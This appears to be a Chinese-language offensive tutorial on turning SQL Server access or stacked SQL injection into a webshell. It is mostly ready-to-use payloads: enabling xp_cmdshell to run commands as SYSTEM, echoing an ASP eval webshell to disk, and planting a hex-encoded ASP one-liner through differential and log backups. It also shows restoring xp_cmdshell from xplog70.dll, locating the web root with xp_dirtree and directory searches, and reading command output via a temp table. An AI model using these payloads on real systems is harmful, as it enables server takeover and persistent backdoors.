SQL Server从0到1——写shell

xp_cmdshell

查看能否使用xpcmd_shell;

select count(*) from master.dbo.sysobjects where xtype = 'x' and name =  'xp_cmdshell'

直接使用xpcmd_shell执行命令:

EXEC master.dbo.xp_cmdshell 'whoami'

 

发现居然无法使用

查看是否存在xp_cmdshell:

EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

SQL Server从0到1——写shell_第1张图片

到现在我们知道了,这台mssql支持xp_cmdshell,但没有开启 xp_cmdshell:

启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

 SQL Server从0到1——写shell_第2张图片

执行命令:

EXEC master.dbo.xp_cmdshell 'whoami'

 SQL Server从0到1——写shell_第3张图片

可以看到这里已经有了system权限 主要找到web路径就可以使用cmd目录创建文件,获取web路径在后面有讲解

exec master..xp_cmdshell 'echo ^<%@ Page  Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> >  c:\\666.asp';

SQL Server从0到1——写shell_第4张图片

注意:如果xp_cmdshell被删除了,需要自己上传xplog70.dll进行恢复

SQL Server从0到1——写shell_第5张图片

exec master.sys.sp_addextendedproc 'xp_cmdshell','C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll' 虽然是写shell,但是xp_cmdshell更多的是用来提权,具体原因其实思考一下就明白了。。。。

差异备份

生成备份文件:

backup database test to disk = 'c:\bak.bak';--

创建表:

create table [dbo].[test] ([cmd] [image]);

插入一句话:

insert into test(cmd)  values(0x3C25657865637574652872657175657374282261222929253E)

再次备份:

backup database test to disk='C:\567.asp' WITH DIFFERENTIAL,FORMAT;--

 SQL Server从0到1——写shell_第6张图片

就会生成一个asp一句话

SQL Server从0到1——写shell_第7张图片

LOG备份

1. alter database test set RECOVERY FULL

2. create table cmd (a image)

3. backup log test to disk = 'c:\test' with init

4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)

5. backup log test to disk = 'c:\test\2.asp'

#LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式

 

路径获取

由于要写webshell,那么必须知道web的路径

1.通过报错获取网站路径

SQL Server从0到1——写shell_第8张图片

 

2.使用xp_dirtree获取目录信息:

execute master..xp_dirtree 'c:' //列出所有c:\文件和目录,子目录
execute master..xp_dirtree 'c:',1 //只列c:\文件夹
execute master..xp_dirtree 'c:',1,1 //列c:\文件夹加文件

#一个一个慢慢找

 SQL Server从0到1——写shell_第9张图片

3.通过xpcmd_shell:

exec master..xp_cmdshell 'for /r c:\ %i in (i*.aspx) do @echo %i'

 SQL Server从0到1——写shell_第10张图片

avatar

回显问题:看到这里,可能有很多小伙伴会不耐烦的说,这是我在软件上执行的sql命令,并非真实注入,该如何回显出信息 其实我们观察这些payload就可以发现,这些命令并非查询语句,并不能与普通的sql语句在一个语句中, 因此想要回显就必须满足,服务器支持堆叠注入

SQL Server从0到1——写shell_第11张图片

SQL Server从0到1——写shell_第12张图片

接下来我们的思路就是创建一张临时表来接收命令执行返回的内容,然后我们在通过查临时表来获取数据

创建临时表:

CREATE TABLE tmpTable (tmp1 varchar(8000));

将数据存入表中:

insert into tmpTable(tmp1) exec master..xp_cmdshell 'ipconfig'

获取数据:

select * from tmpTable

 SQL Server从0到1——写shell_第13张图片

 

你可能感兴趣的:(服务器,数据库,运维,web安全,网络,安全,学习)